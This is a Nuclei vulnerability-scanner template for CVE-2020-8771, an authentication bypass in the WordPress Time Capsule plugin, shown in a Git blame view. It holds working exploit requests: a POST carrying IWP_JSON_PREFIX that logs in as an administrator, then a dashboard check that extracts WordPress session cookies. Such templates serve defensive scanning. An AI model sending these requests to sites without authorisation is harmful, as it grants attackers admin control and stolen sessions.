nuclei-templates/cves/2020/CVE-2020-8771.yaml

60 lines
1.5 KiB
YAML
Raw Normal View History

2021-07-20 05:49:16 +00:00
id: CVE-2020-8771
info:
name: WordPress Time Capsule < 1.21.16 - Authentication Bypass
author: princechaddha
severity: critical
description: "WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts."
reference:
- https://github.com/SECFORCE/WPTimeCapsulePOC
- https://nvd.nist.gov/vuln/detail/CVE-2020-8771
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-8771
cwe-id: CWE-287
tags: cve,cve2020,wordpress,wp-plugin
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Connection: close
Accept: */*
IWP_JSON_PREFIX
2021-03-12 12:02:16 +00:00
- |
GET /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
Connection: close
Accept: */*
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
- "<h1>Dashboard</h1>"
part: body
condition: and
- type: word
words:
- 'text/html'
part: header
- type: status
status:
- 200
extractors:
- type: regex
2021-03-10 11:36:11 +00:00
part: header
regex:
2021-07-20 05:49:16 +00:00
- "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"
# Enhanced by mp on 2022/04/29